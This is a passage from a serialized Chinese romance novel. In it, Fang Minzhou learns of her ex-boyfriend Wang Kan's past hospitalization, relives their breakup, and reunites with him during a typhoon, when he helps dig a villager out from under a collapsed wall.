本来徐冉是真的不在乎面试结果,就算方敏周开口不要她,她都能理解,换成是她,也不舒服公司里多了个前男友的亲戚,可是聊着聊着,她开始祈祷自己能够通过面试。 吃完饭,方敏周结了帐。步行先送徐冉到学校附近,她的大学朋友在校外租了房子,这几天她就住在她家,餐厅离江大不远。 徐冉想带她逛江大校园,但考虑到天黑了,约了改天,方敏周说好的。 而徐冉说完了才忽然想起来,舅舅就是江大毕业的,应该早就带敏周姐姐逛过,不禁有点尴尬。 偷偷瞄了眼敏周姐姐,夜晚的林荫道下,看不出异样。 徐冉其实很想问她和舅舅的事情,但怎么也不好开口,硬是憋住了,而敏周姐姐大概是看出了她的心思,反而问她,是从哪里看到的招聘信息。 徐冉坦白,是舅舅转发给她的,“但他没说是你的工作室,海报上也只有莹莹姐姐的联系方式……可能是因为知道我在找实习,就发给我看一下。” “这样啊。”方敏周淡淡地回。 “你们……还有联系哦?” “分手后很久没联系,但前段时间重新遇上了。” 徐冉又小小地惊讶了一下。 她不记得敏周姐姐说话有这么直接,短短一句话,信息量巨大,虽然她在舅舅面前总是很有威严的感觉。 注意到徐冉频频看过来的目光,方敏周但笑不语,过了一会,她说:“有什么想问的就问吧。” 她的好奇被洞悉,徐冉也不再扭捏,“……我舅舅是不是在重新追你啊?” 方敏周觉得王衎的种种言行称不上“追”,她回:“算是吧。” 徐冉却不知道该说什么了。 按理,她应该帮她舅舅美言几句,这肯定也是他转发招聘海报给她的目的,只是……她确实长大了,恋爱过分手过,不是他一个麦当劳或者肯德基就可以收买的小孩了,不可能盲目地就要撮合两人。 “你不继续问了?” 徐冉赧然地摇摇头,“姐姐,我希望你和我舅舅都能幸福,但不管以后你们在不在一起、关系怎么样,我不想你因为他不理我……” 方敏周没想到徐冉会这么说,心里一酸,摸了摸她的脑袋,“对不起。” 徐冉眼眶发热,“哎呀,你不要说对不起啦,我不是那个意思。” “我知道,但还是要和你说声对不起。”方敏周认真地说,“还好我们重新见面了,以后有什么事情你都可以找我。” 徐冉低低地应了一声。 人和人之间的关系多么脆弱,说断就断了,可曾经联结过的感情,像手掌拂过了蜘蛛丝网,始终若有若无地萦绕着。 而蜘蛛结网明明非常勤劳而迅速。 “不过……”徐冉还是决定为自家舅舅争取一下,“你还是可以考虑下我舅舅?他变了很多,你有没有觉得?” “……有点。” 但方敏周说不上自己喜不喜欢这种变化。 “而且……你们是不是大四的时候就分了?” “你知道的这么清楚?”方敏周笑她。 徐冉吐了吐舌头,“反正你们那时候不是已经分手了嘛,但他还有保存你的毕业照。” 方敏周脚步一顿,看向徐冉。 “我当时还纳闷,为什么没有你们的合照,都忘了你们……” “什么样的毕业照?”方敏周问了句。 “就……你在和你同学拍照。” 照片像是被裁剪过,仅留了单人,她的侧脸、她的背影,说实话,有点像偷拍的照片,但她也不能拿去问她舅舅照片的来源。 敏周姐姐望着她,徐冉却觉得她在透过她看其他人……在她的眼神下,徐冉感觉自己好像说了些不该说的——她只是随口,并没有想过就此产生的后果,“我是想说……虽然你们分手了,但我觉得,他一直没忘记你啦……” 照片的细节被她吞进了肚子里,在胃里撞来撞去。 “你哪里看到的?” “……他的手机,”徐冉说着摆起手,“我没有偷看,他那时候住院,我无聊拿他手机给他拍照,不小心看到的……” 方敏周既然要和徐冉吃饭,对于关于王衎的一切话题自然都做好了心理准备,这一刻却还是一愣,“……住院?” 第78章 第 78 章 方敏周的反应让徐冉…… 方敏周的反应让徐冉惊觉, 她舅舅的很多事情,她可能都不知道。 也是,她说了, 分手之后他们就没再联系。 那天探病所见到的白色墙壁、白色床单和白色的脸, 重新浮现在徐冉脑海中。 好像是她高二暑假的事情, 大夏天, 病房却冰凉凉的。她在大人的议论中拼凑出原因:酒喝多了, 全是为了应酬,也不尽然。 “……听说晚上睡不着觉。” “哎,还是压力太大了。” 大人们声音压得低, 像一股极速流下水池排水口的咕噜液体。”酗酒“这个词,在她的语文生词表里, 可当纸张上的铅字变成了活生生躺着的人,一切都让彼时的徐冉内心充满了惊慌不解。 整个晚上, 准确地说, 是从昨天面试的第一秒钟起, 敏周姐姐态度都很磊落, 因此这一刻, 她脸上一闪而过的错愕像一道闪电, 劈亮了藏在暗处的混沌。 看她还试图掩饰着,不知道为什么,徐冉内心升起一股莫大的悲哀。 她强颜欢笑, 努力事情简单轻松盖过:“我也不是很清楚,不过应该还好啦……毕业之后我舅舅他不是回樟城了吗?那时候我外公生病要静养, 他也开始接手家里的事情,酒喝得就有点多,好像是胃出血吧, 住了几天院——不过之后他就戒酒了,现在逢年过节我们聚餐他都不喝了,也不抽烟……” 徐冉觑着敏周姐姐的脸色,话说得越来越小声,真不知道自己说这些是对是错。 良久,她被问:“你外公,现在身体还好吗?” 徐冉忙点头:“没什么事,现在都挺好的。” 方敏周垂着脸,也点了点头。她面无表情地透出一股茫然,令徐冉感到紧张。 说话间,她们已经走到了江城大学的门口。 徐冉还想说什么,忽然有人叫她的名字。她循声看去,是她的朋友,也刚好回来,骑着小电驴在她们身边停下。 一个是姐姐,一个是朋友,徐冉稍一介绍,敏周姐姐已经重新换上笑脸:“先回去吧,到家之后给我发个消息。” 徐冉犹豫着答应。 看到车篮里的袋子,和朋友稍一商量,折回去硬是塞给了她,“我觉得还挺好吃的,我们学校开了好多年的店。” 说完赶紧跑回车后座坐下,挥挥手,“姐姐,你到酒店了也给我发个消息。” “好的,路上小心。”她说,“冉冉,谢谢你。” 徐冉下意识地回了句“不用”,可等朋友的小电驴驶出几米后,她才疑惑敏周姐姐道谢的郑重,她不可能只是为了一袋甜点而已。 她回头,快速掠去的街景尽头,敏周姐姐还站在她学校的门口。 她应该没有搞砸事情吧? 还没想出个所以然,朋友问她:“刚刚那个是你什么姐姐?表姐?” 徐冉思考了一会,“不会意外的话……” “什么?” “是我未来的舅妈。” “啊?” “以及我未来的老板。” “什么情况?” 夏夜的晚风迎面吹来,徐冉心情变得愉快,“回去再说。” 朋友闻言拧紧了车把,速度开到最快,又不禁担心道:“我们不会被交警抓吧?” 徐冉:“……” “应该不会吧,这么晚了。”朋友又自问自答。 徐冉:“快点快点,马上就到了——” 小电瓶驶入小区。 方敏周收回视线。 时间不早了,江城大学的行人寥寥,她站在边上,明明已经很饱了,还是从袋子里拿出来一个甜点。 拿的最普通的豆沙饼,还是熟悉的味道。 大学的时候吃过很多次,确实很好吃,确实开了很多年。 她记得最开始是有一次王衎来北城找她的时候顺带带来的,他吃不出甜品的好坏,只是听朋友推荐,而她吃了一口非常惊艳,后来他每次都会给她带。她来江城,也拉着他特意去等过一盘刚出锅的豆沙饼。 绵密香甜的豆沙,吃到最后,眼泪涌了上来,方敏周还是没忍住蹲下哭了一会。 他为什么不说。 方敏周回到酒店的时候,只有她一个人的行李还在,金莹是今晚的飞机,已经走了。 她撑着眼睛,打开电脑先过了遍这周的工作和下周待处理的事项,然后刷牙洗澡睡觉,但失了眠。 失眠是一种奇妙的体会,大脑清醒却无法沉下心思考,好像有一只笔在乱涂乱画,但空白的纸上没有留下任何痕迹。 她干脆起床,开了灯看充满罐头笑声的综艺,天将亮,退房去了动车站。 她本来就打算今天回双溪,昨晚想提前回,但没了车,只能改成今天的早班。 可坐在车内等待发车的那几分钟,她一度有逃下车的冲动,因为愧疚而产生的恐惧,但她坚持着没动,直到车门关闭。列车向前,推动着她也跟着向前,变成一把开弓箭。 车上人不多,大概有一半的空位,有三四岁的小孩调皮地在过道奔跑,摔倒了,嗷亮的哭声里,家长一边安慰一边道歉,有老人关切几句,其他人,一些戴着耳机打游戏和看剧,一些外放手机刷视频,声音不算太大,偶尔几声尖锐的笑声。 窗外的风景飞驰而过,与昨晚出租车外的截然不同,她却陷入了同样的心情,或者说,在徐冉那番话后,就一直在同样的泥沼里。 发着呆,她莫名有些想笑,列车恰巧驶入山洞,黑亮的玻璃窗上清晰地倒影出她的表情。方敏周发现她的确是笑的,只是那笑比哭还难看。 王衎来双溪找了她几次?每一次都是抱着什么样的想法?忐忑、焦躁、愤怒,还有什么? 他为什么一直不说。 列车在一个又一个站台停下,有人上车有人下车,熟悉的樟城方言出现,预示着即将到达的目的地,她的心在反复打磨中,只剩下了急切。 希望车速快一点、再快一点,上一次这样着急的心情,是五年前从北城飞往江城的时候。 那天,她也是尽可能地订了最早的航班,可也要下午才能到。 上飞机前,王衎都没回她消息,随后万尺高空的两个小时,她的胃又开始痉挛。吃了一颗止疼药,可能是心理原因,药效迟迟没有作用,她全程弓着背,冒了一身的汗。 飞机落地时,稍微缓过来了一点,立刻打车去了江城大学。 方敏周后来也在想,那天她为什么那么害怕?仿佛提前知道她要失去王衎了一样,竭尽全力地想要追回什么,可是当王衎终于出现,他的冷漠却让她跟着沉默了。 她知道王衎在等她的解释,她本来也应该道歉,说好要来为他庆祝,却放了他鸽子,可尽管如此,她以为王衎看见她至少是有一点点高兴,而不是看她连陌生人都不如。对陌生人,他至少不会皱眉。 温暖的春日午后,阳光如金色蜜糖般透亮,晃得方敏周眼前发白。她手脚冰冷,沉默了多久,就罚站般站了多久,站在人来人往的街口,于她是一种羞辱的示众。 她委屈愤怒王衎的态度,因为这段时间累积的情绪,因为王衎对她一直很好,所以她可悲地产生了任性的念头:她想知道,如果她真的就是毫无理由地缺了席,王衎会怎样,难道真的就不原谅她了?这就是他的底线? 陷入情绪漩涡中里就会失去理性,但方敏周又还没有失智到那个程度,她督促着自己快说点什么,终于想好了——王衎的一个女同学恰巧经过,向王衎打招呼,又看到一旁的她,愣了下,但认出了人,微微一笑。 方敏周也嘴角上扬着致意,心却沉了下去。 之前她和王衎的几个朋友见过面,知道这个女生是王衎的同班同学。 “你昨天怎么没来?”女生问了句。 方敏周再也笑不起来,王衎也没有说话。 女生看了看他们,大概自知失言,但还是带着礼节性的笑,提醒王衎等会聚餐别迟到,她先走,顺带了一句“可以带家属”。 沿着逆流,处处是障碍,放在平常最正常不过的几句话,却让当时的方敏周怨气冲天。 她反过来想要王衎给个解释了——原来她也会控制不住自己,可是她曾经那样义正严辞地批评过王衎的妒忌心。 她不应该、不能吃醋。 她喊他,要解释道歉:“王衎……” “方敏周。”王衎说,“我们分手吧。” 她懵了一瞬,太阳明亮,她知道自己不是在做梦,但那天的阳光真的一点温度也没有,或者是因为本来就是下午,太阳就要落山了。 胃一抽痛,下意识地又要吐,立刻转过身,然后就走开了。 那时候,其实还以为王衎会赶上来追她,但走得很远很远,远到她回头都看不到江城大学的校门时,她也找不到王衎了。 刚来江城,又订了最早可以回北城的机票,但也要等到晚上十点,所以她去了一家烤肉店吃饭。 胃还是很难受,按理她要节制,但她拼命地吃最多的食物,以为自己这样就是在发泄了,可是当餐厅里的歌一首接着一首时,眼泪还是一颗一颗地掉下。 怕被发现,她迅速抹去,继续往嘴里塞东西,吃到再也吃不下去后,去卫生间吐干净,回来结账。 江城的气候与樟城类似,尚未到雨季的春夜像一头温驯的小鹿。 她往机场的方向走,没有打车,机场走路是走不到的——不,可以走到,走上一天、走上一夜,任何地方都可以走到,大海的尽头是陆地,陆地的尽头是大海,一切都有终点。 行道树的树荫连成一块蔓延的黑布,被虫蚁蛀了一些小洞,被风雨晒洗得略有些透光,但仍可以遮天蔽月,蒙着她,没有人经过她,就算经过,也没有人可以看清她。她一边走一边哭,地上黑乎乎的树影重重叠叠、摇摇晃晃,哭到累了、走到累了,她打了车。 那之后,方敏周很长一段时间再没来过这座她曾经向往后来留恋的城市,而世事难料,她又将在这里开启她新的事业、新的生活。 广播响起:“前方列车即将抵达双溪镇。” 此时此刻,她则回到了双溪镇。 第79章 第 79 章 关阳来接人…… 关阳来接人, 除了她还有一对今天入驻民宿的年轻情侣。 方敏周坐在副驾驶座,同后排的两人介绍一些游玩项目,车内气氛还不错, 但关阳情绪不佳, 方敏周刻意忽略了。 明天是他在民宿工作的最后一天。 车子抵达民宿, 外公外婆迎上来, 关阳帮忙把行李搬到楼上, 方敏周去自己的房间。她对面那间房房门敞着,她顺手推开,里头床铺整洁, 没有人居住的痕迹。 “我早上刚把这间打扫过,之前小王住这, 昨晚刚走。”外婆说。 原来已经走了……方敏周平静地想,关上门, 回到自己的房间。 窗台明净, 外婆知道她回来, 换了新的四件套。 方敏周坐在房子犹豫着给王衎打个电话, 后来真的打了, 但嘟了几声后没人接, 发车前的紧张感重新扼住了她的脖子,她挂断了电话。好一会儿,嘟声还在心里回响。 她转而给王衎发消息, 说没什么事,只是想和他说一句, 她刚回来双溪。 等了五分钟,王衎没回,方敏周猜他可能是有事在忙, 强迫自己不再乱想,稍微收拾了行李后,下楼帮外婆准备午饭。 一个多小时后,方敏周的手机响了。她正在切菜,洗净手,走到院子里接通。 她站在屋檐下,几步外的日光热烈,把院子里的花草树木照得像金子一样发着光。 热浪滚滚,王衎的声音倒是挺冷的:“方敏周,你耍我呢。” 方敏周平和地回:“你自己来的时候不说,走的时候也不说,我怎么知道你又不在了?” “你不是一样?” 方敏周默了默。 “所以,”王衎的语气微变,“你找我?” 静静地站着,心跳却变快,方敏周舔了舔嘴唇,“你之前问我的,我考虑好了……” “等下。”王衎打断她。 方敏周:“……” “见面说吧。” 方敏周不明白,王衎坚持:“见面再说吧,不然我听不出来你是不是说谎。” 方敏周气也不是笑也不是,“面对面也可能说谎啊。” 王衎凉凉地说:“你知道就好。” 每每听出王衎话里话外的讽刺,方敏周就都想骂他,但怒气起来的同时,自己心里也难受,更何况她现在一点都不想和他吵架。她没有反呛回去,而是告诉他:“我接下来一两周应该都还会在双溪。” 王衎那边没了声,再开口,语调又轻了下来:“我回樟城了,然后还要出差一趟,可能周五过来。” 方敏周刚要应,想起来,“周五有台风。” “没事,我早点过来。” “……好。” 挂了电话,方敏周靠着墙,望着姹紫嫣红的院子发呆,感觉不到夏日的高温似的,又或者是她享受于此刻太阳的滚烫。 隔天外婆炖了鸡汤给关阳送行,又包了一个大红包。关阳不要红包,犟得脸都红了,方敏周也劝了一句,他愣了愣,像是真的生了气,直接跑回房间去了,留下外公外婆面面相觑。 方敏周把红包拿过来,拍拍外婆的肩膀,“没事,我去。” 她敲门,没有人答,她喊了声,门才被打开。 关阳没想到敏周姐会来找他,他发完脾气就后悔了。他的脾气实在是差,想改也改不好。 他挠着脑袋站在门口,突然意识到让敏周姐这样站在门口不好,但房间里一团糟……他侧了侧过身,极为窘迫地说:”……有点乱。“ 方敏周看到地板上摊着行李箱,东西都还没有理好。她没进去,而是把红包递给关阳,”外公外婆的心意,收下吧,没关系。“ 关阳低下头,红包封面正对着他,他这才发现上面的鎏金大字是”前程似锦“。 他张了张嘴,心情乱麻似的。 敏周姐另一只手又递来了一个白色盒子:”这个是我提前送你的升学礼物,好好学习,好好享受大学生活。“ 关阳内心震荡,抬起脸,敏周姐微笑地望着他。她的笑容温柔体贴,但也带着他可以读懂的客气与礼貌。 “姐,你上周……”他问,“你去江城,是为了避开他吗?” 关阳总是不直指王衎的名字,方敏周每次都要反应一下,“不是。” 关阳别扭地说:“他前天刚走。” “嗯,我听外婆说了。” “那你是为了避开我吗?” 方敏周摇头,这次是真话:“不是,不然我昨天也不会回来了不是吗?我去江城,是有工作上的事。” 关阳听了,表情稍缓,但随即又显得有点落寞。 方敏周看在眼里,但什么都没有多说。年纪小的时候考虑事情似乎就是容易以自我为中心,并不一定是自私自傲,而是自我的情感太充沛,以至于难以跳脱出视角的束缚。 她伸着两只手,把红包和盒子都朝关阳再递了递,这动作其实有点搞笑。她送的是最近一款比较热门的相机,关阳喜欢可以自留,不喜欢可以出手,算是她另外包的红包。 关阳最后收下了礼物。 方敏周笑笑:“下次有空的话再来玩。” 他低低地应了一声,挤出笑。 乡下的日子慢慢悠悠的,一天似乎比一周还长。 方敏周和金莹的创业项目通过了审批,得到了六个月免费办公室的入驻期,方敏周又去了趟江城,然后顺道回了爸妈家一趟。 也是直到这个时候,她才知道原来爸妈对她创业一直没有什么信心。 “现在什么年代了,是不是?以前那个时候,随便弄点东西找两个人就可以开公司,但后来一个个也都破产了。” 在他爸看来,做生意要灵活要聪明,“但是不能太老实太善良,爸爸说这话,并不是要你当个坏人当个奸商,而是……”他语重心长,“你现在自己当老板了,一是一二是二,人情要讲,但也不能让别人觉得你很好说话。” 方敏周说她知道。 怎么知道的?不知不觉间吧,是自己习得的道理。 可能是初高中时同学之间那股隐隐约约的较量,上了大学,因为奖学金和保研名额更直接被摆上了台面,后来入了职场,她幸运得遇到了不错的同事和领导,但其他组勾心斗角的事迹她也都听说过。 方敏周一边耐着心敷衍爸爸的唠叨,一边却想起小时候他教她背三字经,摇头晃脑地念念有词:“人之初性本善……” 妈妈后来和她说,别听你爸说这些,他其实都算着呢,如果你要钱,我们多少能够你凑点,你就放心去做。 方敏周默了默,半开玩笑地问:“那万一我爸不同意呢?你给我钱不?” 她妈睨了她一眼:“给,怎么不给。” 方敏周这才笑了。 台风天,方敏周在双溪镇再见到王衎。 但两个人并没有闲情逸致马上坐下来好好聊一聊——台风临时改道直扑江城樟城一带,预警升级为红色,几乎是近几年最严峻的一次。 方敏周看风越来越大,提前给王衎发了消息,让他别来了,而他回她已经在路上了,然后风尘仆仆地出现在院子里。 正在搬东西进屋的外公外婆看到他惊呼,而他越过他们,望了她一眼,说得随意:“出差路过,顺便过来看看有没有什么能帮忙的。” 办市集所需的材料都好好地转移到了仓库,但忙当然是有的,且一忙就停不下来。 双溪镇四处环山,很多年前因暴雨发生过滑坡,老人们谈起这件事情仍心有余悸,从此不敢懈怠防御工作。 这几天家家户户忙着检查加固门窗,院里田里有种东西的,争分夺秒地抢收,一些住在低洼处的人家,直接转移安置到镇上的小学。 村委会人员不够,来叫人,方敏周去了,让王衎留在民宿。他力气大点,能避免让外公再闪着腰。 住在城区里的时候,只要待在室内似乎就不必担心,方敏周从未像现在这样参与过台风应急工作。 爸妈和她通话的时候担心也有点埋怨,方敏周说她就是帮着清点应急物资储备,山塘水库巡查的前线工作她没经验,村委的叔叔阿姨们也不会让她去做。 爸妈在电话那头叹气,让她注意安全,当她还是小孩子一样,虽然小的时候每到台风天,爸妈确实都不让她出门。 忙了一下午回家,天空乌云密布,风雨欲来,台风预计是晚上到。听外婆说,外公和王衎还在后院,她过去一看,外公不知道去哪了,只有王衎和其他工人正绕着谷仓检查。 她站在高一点的地方,过了一会,王衎看到了她。 遥遥望了眼,他忽地用大拇指向她比了个方向——民宿的方向,然后继续对着旁边的工人叮嘱。 他真的变了很多。 方敏周想起高三开学后不久的一天,也是台风,下午的课还没上完,学校宣布提早放学。突如其来的惊喜,几栋教学楼此起彼伏地欢呼,刚打印出来的热腾腾的卷子拿在手上都不嫌烫手了。 回家时她却和王衎小小地吵了一架,因为王衎执意要送她。她把自行车骑得飞快,不愿与王衎并行,但再快,遇到红灯停下时,他总是立刻就贴了上来。 那天晚霞烧的盛大,马路空荡荡的,风狂啸而过,再强的怒火都被吹灭了。知道有王衎跟着她,慢慢地,反而多了层不情不愿的心安。 如此到了她家楼下,她扭头看向王衎,也不好意思再发火,只是着急,催他赶快回家,王衎漫不经心地耸耸肩,问说:“你知道这叫什么吗?” 方敏周没心思和他闹,她说:“快点啦,真的要下雨了。” 他骑车绕着她转了一圈,“这叫——世界末日都要在一起!” 说完,扬长而去,校服被风吹得鼓起来。 她呆在原地面红耳赤,他又扭头看她,整个人沐浴在黄紫色的霞光里,得意洋洋地笑起来,松开一只车把,挥了挥手,“明天见!” 方敏周记得自己当时直想冲他喊一句别耍帅了,哭笑不得地望着他飞驰的身影消失在暮色深处。 又说世界末日又说明天见,到底是要怎样。 她给王衎的房间铺好了床,天色彻底暗了下来,房间里还没开灯。 窗外淅淅沥沥下起雨,方敏周收回视线时,冷不丁地,看到王衎双手抱胸倚着门框。 第80章 第 80 章 方敏周显然被他吓了…… 方敏周显然被他吓了一跳, 但很快镇定下来,在她要去开灯前,王衎先走过去, “怎么是你给我铺床?” 他问得不偏不倚, 貌似纯良, 但只是貌似。 方敏周脸热了点, 也不想着去开灯了, 昏暗的光线刚刚好,她抬眼看向王衎:“我外婆忙忘了,你别想太多, 我给很多房间都铺过床。” 王衎被噎了下,“……你顺着我的意思说一句好听的不行吗?” “你想听我说什么?” 方敏周是认真地问, 但听在王衎耳朵里,又是刺挠的一句。 他有时候真讨厌方敏周的伶牙俐齿, 可是余光瞥到旁边铺到平整的床, 顿时又没了气。一想到方敏周是如何抚平的这张床单, 他就浑身爬痒, 仿佛自己也被她的双手轻轻抚摸了一遍。 他喉结滚动, 不自觉欺上一步, 距离拉近,他看见方敏周像是有点紧张地抿起嘴唇。她在紧张什么? 风雨吹开没有合拢的阳台门,王衎忽地清醒了点, 想到之所以回房间是为了洗澡。干了一天的活,出了好几趟汗。 又后退, 从地上的行李包里随便拿了一套换洗的衣物,“你不是要答应我重新在一起吗?那你没必要还要把话撇得那么清。” 他话说得自信,实际心里直打摆子。走到浴室边上都没听方敏周回嘴, 迈出的步子都变得软绵绵的。他回过头,黑落落的窗边,又看不清方敏周的脸。 王衎打开浴室的灯,但暴露的是自己,“你要是其实是要拒绝我……” 他说着笑起来,被这种可能性气笑。 但方敏周摇了摇头,王衎怔然,心脏被延迟按下了重音,狠狠震鸣。 “你先洗澡吧。”方敏周轻声说。 王衎的呼吸变得有些急促,盯着她,“……你这样让我怎么先洗澡?” 方敏周像是听见笑话似的,“该怎么洗就怎么洗啊。” “你过来。” 方敏周没有犹豫地走了过来,走到浴室的灯能够照亮包容两个人的范围里。王衎看出她的表情硬邦邦的,像小孩子用铅笔画出来的一样,看他的眼睛虽然带笑却有一种复杂的忐忑。 看出并没有那么平静,王衎好受了许多,可是为什么又有心疼的感觉?他怀疑方敏周知道了什么,她却突然摸了摸他的脸,还是那句话,“你先洗澡。” 王衎半边身子都僵麻了一半,要问的话都忘了,凑近她,“你嫌我脏啊?” “嗯,有汗味。”方敏周说,又有点无奈地笑道,“你这让我怎么说好听的话?” 王衎咽了口唾沫,沉沉地打量着她,觉得她在故意招惹他,她不可能不知道这么说的挑逗意味。 他不甘示弱,低头闻了闻她的脖颈,淡淡的洗发水还有洗衣液的味道,和记忆里的似是而非。她微微眨眼,至少表面上很淡定,王衎身体却燥热起来,要不是不妥,会想把人拽进浴室里一起洗。 也不是没这么干过,只是……他按耐住呼吸直起身,还是慢慢来比较好。 方敏周坐在沙发上,过了会,才想起来开灯,再把门窗关好,但这样,浴室里的水声就更明显了。哗啦哗啦的,像是浇在了她身上。 越听越听不下去,很是折磨,有点想走,又不想事后被王衎借机嘲笑。她想,真的是分开太久了也不自觉压抑了太久,只是听他洗澡都会害臊,他之前说把不好的事情改正,怎么开始,她一点头绪都没有。 忽然听见外婆好像在楼下喊她,方敏周猛地从沙发上弹坐起来,往门口走了几步,确定了外婆是在喊她,赶紧应了,与此同时浴室里的水声也停下。 “我外婆喊我,我先下去。”方敏周在浴室在说。 王衎迟了几秒回应,外头已经没了声音。 他洗完澡出来,房间里亮堂堂的,风雨更重地敲打着门窗。王衎等了一会,摸了摸床单,又和衣躺了一会,方敏周还是没有回来,意识到这样可能等不到她,下了楼。 今天民宿没有客人,那位叫关阳的小子也已经走了,但他没看到方敏周,只看到她的外公外婆忧心忡忡地站在大厅里望着门外。 他问怎么了。 他们像才发现他,“哎呀老陈,在家里喝酒,喝着喝着人晕了,家里人也没有,找到我们这来借车。” “我也不会开车,这个么夜里眼睛也看不清了,就让敏周过去看看了,这还没回来,不知道是不是送人到医院了?” “要送也就送到镇上医院,还送到市里去?主要是电话也打不通,带了没带?” “带了带了,她出门前我还特意看着了,就是你们喝喝喝,”张秀芬越说越着急,嚷起来,“我就让你们不要喝不要喝,一天不喝都受不了……” “我喝啦?”赵庆友声音也大起来,“我哪里有喝?老陈他自己本身就高血压。” 王衎在老人家的争吵中拼凑出大概的情况,心越听越凉。 他算了下时间,从他还没洗完澡算起,也有小半个小时,村镇小,医院开车过去顶多十分钟,主要是台风夜,意外无法预测。 他给方敏周打电话,确实无人接听,他低低骂了句脏话,挂断电话时发现自己的手在颤抖。 那边赵庆友要去找雨衣,“我现在就去看看,我当时说要一起去么你们又不让,就这么几步路还走不到吗?我……“ “你去什么啊?”张秀芬叫道,“到时候摔到外面了,还要送你去医院?“ “摔还能把我摔死了?!不知道搞什么……“ 王衎继续拨打方敏周的电话,到第三次,还是没有人接通。 他总是这样,一打不通方敏周的电话,就有无数可怕的猜想不受控制地跑入他的脑海中,毕竟世事无常,以前他抱怨,方敏周说她不可能随时都等着接他的电话——王衎不敢再想下去,他拦住赵庆友,”阿公,我去吧。” 赵庆友一愣,面露犹豫。 张秀芬看看老头子,看看王衎,”没事,再等等,说不定等会就要回来,我去院子里看看……“ “你去院子里看能看到什么!”赵庆友不高兴地喝道。 王衎已经穿好了雨衣,他随手拿起门口的一把伞,“我去外面看看,你们在家里等消息吧,说不定敏周马上就回来。” 说完,他推开门走进风雨里。 倾盆的雨,在黑沉的夜里激起白蒙蒙的雾,路灯的光亮都被吞没,风刮一刮,一闪一闪的。积水在坡道上汇成了小溪,没过了他的脚踝,等走下坡时,积水就已经涨到了他的小腿处。 王衎抹了把脸,几乎是摸索着走,路上一个人都没有,坡下桥头的老陈家,也没有人,旁边的河溪一改常态,沸腾地狂奔而去。 王衎说不上自己什么感觉,有什么念头刚冒出来,立刻被狂风暴雨压了下去。这样也好,他要稳住,不然也要被风吹跑。他重新拿出手机,屏幕全是水,好不容易按出了方敏周的号码,贴在耳边,在忙音里往镇医院的方向走去。 走着走着气恼起来,又变得悔恨,越走越快,明明不远的路,却怎么也走不到,最后竟然有点不知道该往哪个方向,天地茫茫,他找不到方敏周在哪里。 他脸上全是水,眼睛被迷得刺痛发干,滂沱的雨雾中,他忽然看见有个人朝他迎面。 “王总!”是村委会的李文书,风雨声太大,他扯着嗓子,“这么大的台风,你怎么还在外面?” 王衎有点回过神来,他念了两遍”方敏周“的名字,说清事情原委,他说他没找到她。 “回去了呀!”李文书惊讶地说,“本来她要开车,我觉得太危险了,找了其他人,后来和那个谁,让老林和她先回去了。” 雨衣帽檐的雨水滴在他脸上。 李文书也有点担心了,把王衎拉到一旁躲雨,“你打个电话回民宿问问。” 王衎还是先再拨了一次方敏周的手机,没人接,再打回民宿,电话一被接通,他听见张阿婆上扬的声音:“小王啊?” 王衎的心一瞬间静了静,“嗯,外婆,敏周回来了吗?” “回来了回来了,刚回来,哎哟,她手机进水了,真的是!你现在在哪里啊?” “我在村委会这里,刚好碰到李文书了。” “哦哦哦,那你……” “敏周回去了就好,我等会也马上回去。” 张阿婆不住地抱歉:“好的好的,哎哟……真不好意思,赶快回来,我给你们煮了姜汤。” 王衎说好,望着走过来的那条被雨水淹没的道路,这会儿却觉得风平浪静。电话那头外婆喊着方敏周的名字,好像是想让她过来和他说句话,他不知道为什么一惊,说没事,先挂了。 这会儿,才心有后怕。 “怎么样,回去了?”李文书问。 王衎点头。 “回去了就好、回去了就好,你看看你这样……”李文书说着,看了看王衎,止了声,再开口,是让他来办公室坐坐,“有毛巾擦一下,等会有车回来,我正好送你回去,顺路。” 王衎道了谢。 李文书又给他倒了杯茶水,给他倒了杯茶水,没聊几句,有电话找他,打完,王衎缓得也差不多了,李文书收起手机,“走吧。” 从民宿走到村委会大概要十分钟,开车的话就很快,但雨太大,李文书开得很慢,玻璃窗水淋淋的,雨刷根本来不及。 车子刚过桥,王衎突然按下了副驾驶的车窗,“等下。” 风雨瞬间灌进车内,李文书慢下车速,“怎么了?” “……墙倒了。” 李文书一惊,看向窗外,顺着王衎指的方向看去,果然看见河边的围墙缺了一块,掩在雨里和树下,差点看不到。 他连忙把车开过去,车刚停稳,王衎已经打开车门冲进了出去。李文书把车停好,紧跟着下车。远远看见的时候还一片模糊,离得近了,一大片颓垣断壁,让人心惊。 这墙好端端的,怎么就塌了?要是只是塌了还不要紧,刚这么想,就听到王衎大声叫道:“李叔打电话!有人!” 黑压压的天空忽地劈头一亮,随即一声闷雷炸响,李文书腿一软,反应过来后着急忙慌地上下摸手机。 雨太大太大了,屏幕按好几下才有反应,刚才着急下车,都没穿雨衣,这没一会全身上下就淋透了。 “坚持一下!”那头王衎已经开始手刨挖人了,“除了你还有没有人!” 得到回复后,王衎朝他喊道:“李叔,一个人!” 李文书在湿透的衬衫上蹭了下手机,这下电话终于打出去了,他赶紧告知具体方位,119和120都呼救后,再打给村长,然后立刻也过去救人。 被埋的人刚好埋在一个三角区,王衎已经把一些石块碎瓦挖开,从缝隙里露出了对方的头脸,李文书认出人,不禁叫道:“老林!怎么是你啊!” 王衎手下不停,但惊诧地仔细看了眼老林。 老林人还有意识,流着眼泪不断地念着“救救我”“我不想死”。 微弱蚊呐的呼叫声被大雨吞没,如果不是他们路过,根本不会有人能听见。 “老林,没事没事,我已经叫人了。”李文书忙说。 又挖出了一个洞,王衎伸手清理老林脸上的泥土,“林叔,你放心,我们一定救你出来,你现在先保存体力,不要吸进去太多泥土。” “对对对。”李文书紧跟着继续宽慰老张。 他年纪大了,心有余而力不足,但手下不敢有丝毫懈怠,王衎更是拼了命,好不容易等到村长带着人赶来,几个人合力把压着老林最大的一块石板搬开,这个时候救护车也赶到,医护人员提着担架把人搬走,村委会里找了个人和匆忙赶来的老林老婆随车,剩下的人才松了口气。 有人给李文书和王衎披上雨衣,指了指他们的手惊呼:“哎哟,你们这要不要处理一下啊。” 李文书低头一看,才看到自己破烂的十指,而王衎的手更是伤痕累累。 王衎说:“不要紧,我回去处理下就行。” 村长看了看这个小伙子,正要感谢,又是一声惊雷,炸得大地都抖了抖。 ——倒塌围墙边上的老树倾轧而下。 80-89 第81章 第 81 章 王衎印象里第一次做…… 王衎印象里第一次做好事, 大概是小学的时候捡到钱交给了老师,当然,他也做过坏事和错事。 活了二十几个年头, 他见过死亡, 也濒临过死亡, 年岁渐长后, 到底无法像小时候那样无知无畏, 